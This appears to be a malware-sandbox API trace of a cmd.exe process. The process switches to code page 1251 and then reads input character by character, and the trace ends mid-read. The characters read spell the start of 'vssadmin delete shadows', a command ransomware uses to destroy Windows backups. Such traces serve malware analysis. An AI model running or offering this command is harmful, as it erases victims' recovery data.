_String2="=::=::\\", _MaxCount=0x7) returned 38 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0230.260] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0230.261] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0230.261] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0230.261] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0230.261] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0230.261] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0230.261] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0230.261] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0230.261] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0230.261] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0230.261] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0230.261] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0230.261] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0230.261] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0230.261] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0230.261] GetProcessHeap () returned 0x25290790000 [0230.261] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x25290796510) returned 1 [0230.261] GetProcessHeap () returned 0x25290790000 [0230.261] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x12) returned 0x25290796510 [0230.261] _get_osfhandle (_FileHandle=1) returned 0x254 [0230.261] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0230.261] _get_osfhandle (_FileHandle=0) returned 0x248 [0230.261] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0230.261] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xf4183cf1b0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xf4183cf188 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0xf4183cf188*(hProcess=0x9c, hThread=0x98, dwProcessId=0xd9c, dwThreadId=0xda0)) returned 1 [0230.270] CloseHandle (hObject=0x98) returned 1 [0230.270] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0230.270] GetProcessHeap () returned 0x25290790000 [0230.270] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x25290796570) returned 1 [0230.270] GetEnvironmentStringsW () returned 0x25290796530* [0230.271] GetProcessHeap () returned 0x25290790000 [0230.271] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0xafe) returned 0x252907a9460 [0230.271] FreeEnvironmentStringsA (penv="=") returned 1 [0230.271] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb11b40000 [0230.271] GetProcAddress (hModule=0x7ffb11b40000, lpProcName="NtQueryInformationProcess") returned 0x7ffb11be56b0 [0230.271] NtQueryInformationProcess (in: ProcessHandle=0x9c, ProcessInformationClass=0x0, ProcessInformation=0xf4183ce688, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xf4183ce688, ReturnLength=0x0) returned 0x0 [0230.271] ReadProcessMemory (in: hProcess=0x9c, lpBaseAddress=0xe6c5269000, lpBuffer=0xf4183ce6c0, nSize=0x7a0, lpNumberOfBytesRead=0xf4183ce680 | out: lpBuffer=0xf4183ce6c0*, lpNumberOfBytesRead=0xf4183ce680*=0x7a0) returned 1 [0230.272] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0237.878] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0xf4183cf108 | out: lpExitCode=0xf4183cf108*=0x0) returned 1 [0237.878] CloseHandle (hObject=0x9c) returned 1 [0237.878] _vsnwprintf (in: _Buffer=0xf4183cf2d8, _BufferCount=0x13, _Format="%08X", _ArgList=0xf4183cf118 | out: _Buffer="00000000") returned 8 [0237.878] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0237.878] GetProcessHeap () returned 0x25290790000 [0237.878] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x252907a9460) returned 1 [0237.878] GetEnvironmentStringsW () returned 0x252907a9460* [0237.879] GetProcessHeap () returned 0x25290790000 [0237.879] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0xb24) returned 0x252907a9f90 [0237.879] FreeEnvironmentStringsA (penv="=") returned 1 [0237.879] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0237.879] GetProcessHeap () returned 0x25290790000 [0237.879] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x252907a9f90) returned 1 [0237.879] GetEnvironmentStringsW () returned 0x252907a9460* [0237.879] GetProcessHeap () returned 0x25290790000 [0237.879] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0xb24) returned 0x252907a9f90 [0237.879] FreeEnvironmentStringsA (penv="=") returned 1 [0237.879] GetProcessHeap () returned 0x25290790000 [0237.879] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x25290796510) returned 1 [0237.879] DeleteProcThreadAttributeList (in: lpAttributeList=0xf4183cf290 | out: lpAttributeList=0xf4183cf290) [0237.879] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0238.011] ??_V@YAXPEAX@Z () returned 0x1 [0238.011] _get_osfhandle (_FileHandle=1) returned 0x254 [0238.011] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0238.011] _get_osfhandle (_FileHandle=1) returned 0x254 [0238.011] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6a546fc08 | out: lpMode=0x7ff6a546fc08) returned 0 [0238.011] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.011] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6a546fc0c | out: lpMode=0x7ff6a546fc0c) returned 0 [0238.011] GetConsoleOutputCP () returned 0x4e3 [0238.108] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff6a546fbb0 | out: lpCPInfo=0x7ff6a546fbb0) returned 1 [0238.108] SetThreadUILanguage (LangId=0x0) returned 0x409 [0238.118] GetProcessHeap () returned 0x25290790000 [0238.118] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x25290797980) returned 1 [0238.118] GetProcessHeap () returned 0x25290790000 [0238.118] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x252907a8ee0) returned 1 [0238.118] GetProcessHeap () returned 0x25290790000 [0238.118] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x252907977c0) returned 1 [0238.118] GetProcessHeap () returned 0x25290790000 [0238.118] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x252907a8e80) returned 1 [0238.118] GetProcessHeap () returned 0x25290790000 [0238.118] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x25290796490) returned 1 [0238.118] GetProcessHeap () returned 0x25290790000 [0238.118] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x25290798e90) returned 1 [0238.118] GetProcessHeap () returned 0x25290790000 [0238.118] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x25290797610) returned 1 [0238.118] GetProcessHeap () returned 0x25290790000 [0238.118] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x252907975e0) returned 1 [0238.118] GetProcessHeap () returned 0x25290790000 [0238.118] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x25290797340) returned 1 [0238.118] _vsnwprintf (in: _Buffer=0x7ff6a5477f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xf4183cf6b8 | out: _Buffer="\r\n") returned 2 [0238.118] _get_osfhandle (_FileHandle=1) returned 0x254 [0238.118] GetFileType (hFile=0x254) returned 0x3 [0238.118] _get_osfhandle (_FileHandle=1) returned 0x254 [0238.118] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0238.118] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6a5469970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xf4183cf688, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesWritten=0xf4183cf688*=0x2, lpOverlapped=0x0) returned 1 [0238.118] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6a546bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0238.118] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x25290890080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0238.118] _vsnwprintf (in: _Buffer=0x252908a0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xf4183cf6c8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0238.119] _vsnwprintf (in: _Buffer=0x252908a0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xf4183cf6c8 | out: _Buffer=">") returned 1 [0238.119] _get_osfhandle (_FileHandle=1) returned 0x254 [0238.119] GetFileType (hFile=0x254) returned 0x3 [0238.119] _get_osfhandle (_FileHandle=1) returned 0x254 [0238.119] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0238.119] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6a5469970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xf4183cf6b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesWritten=0xf4183cf6b8*=0x14, lpOverlapped=0x0) returned 1 [0238.119] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.119] GetFileType (hFile=0x248) returned 0x3 [0238.119] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.119] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.119] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.119] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0238.119] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.119] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.119] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.119] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0238.119] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.119] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.119] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.119] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0238.119] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.119] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.119] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.119] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0238.119] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.119] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.119] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.120] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0238.120] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.120] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.120] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.120] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0238.120] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.120] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.120] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.120] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0238.120] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.120] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.120] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.120] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0238.120] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.120] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.120] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.120] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0238.120] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.120] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.120] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.120] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0238.120] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.120] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.120] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.120] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0238.120] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.120] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.120] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.120] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0238.120] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.120] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.120] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.120] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0238.120] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.121] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.121] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.121] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0238.121] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.121] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.121] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.121] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0238.121] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.121] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.121] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.121] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0238.121] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.121] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.121] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.121] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0238.121] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.121] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.121] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.121] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0238.121] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.121] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.121] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4183cfa18, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a5469970*, lpNumberOfBytesRead=0xf4183cfa18*=0x1, lpOverlapped=0x0) returned 1 [0238.121] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a5469970, cbMultiByte=1, lpWideCharStr=0x7ff6a5473c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0238.121] _get_osfhandle (_FileHandle=0) returned 0x248 [0238.121] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0238.121] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6a5469970, 